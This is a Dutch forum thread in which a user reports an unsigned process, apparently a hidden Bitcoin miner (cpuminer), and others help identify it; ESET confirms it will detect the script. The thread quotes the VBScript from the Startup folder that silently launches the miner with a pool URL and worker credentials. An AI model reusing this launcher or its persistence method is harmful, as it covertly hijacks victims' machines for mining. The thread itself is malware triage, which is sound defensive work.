BitCoin virus

[The_Worst]

Het viel me de laatste dagen op dat er een proces, mscfn.exe, constant de processor volledig belastte. Ik dacht eerst dat het onderdeel was van Windows Update maar het programma bleef maar draaien. Later bleek ook dat het programma niet was ondertekend.

Programma wordt gestart vanuit de map 'opstarten' met een Visual Basic-script:

VBScript:

WScript.CreateObject( "WScript.Shell" ).Run "mscnf.exe --url http://eu-proxy.ecki.net:7332 --userpass wotan.4:x --quiet -r -1",0,0

Nu is er vrij weinig informatie te vinden hierover. VirusTotal heeft 6 hits. De URL die in het script staat verwijst naar een BitCoin-pool. Het bijbehorend account is al geblokkeerd. Is er een mogelijkheid om erachter te komen hoe dit op het systeem is terecht gekomen en weet iemand misschien of dit echt alleen een bitcoin-virus is?

[Verwijderd]

Die 6 hits op VirusTotal is een scanresultaat van 31 mei 2012. Mocht je het bestand nog hebben, laat het dan opnieuw analyseren. Denk dat meer AV's het zullen detecteren en dan heb je misschien iets aan die extra informatie

[Verwijderd]

Het is een bitcoin miner - cpuminer 2.1.3 om preciezer te zijn.
Twijfelgeval qua detectie.

[The_Worst]

Eset heeft het script inmiddels toegevoegd aan zijn detectie maar mscfn.exe logischerwijs niet.

Thank you for your submission.
The detection for this threat will be included in our next signature update.

MSCtl.vbs - VBS/CoinMiner.A trojan

Regards,

ESET Malware Response Team

[Verwijderd]

Verwijderd schreef op dinsdag 19 juni 2012 @ 03:18:
Het is een bitcoin miner - cpuminer 2.1.3 om preciezer te zijn.
Twijfelgeval qua detectie.

Lijkt erop dat deze variant alleen bij 'rogue' installaties opduikt. Detectie is toegevoegd als Trojan.Win32.Miner.du.

[Verwijderd]

Modbreak:

No spam.

[ Voor 97% gewijzigd door F_J_K op 02-02-2015 13:34 ]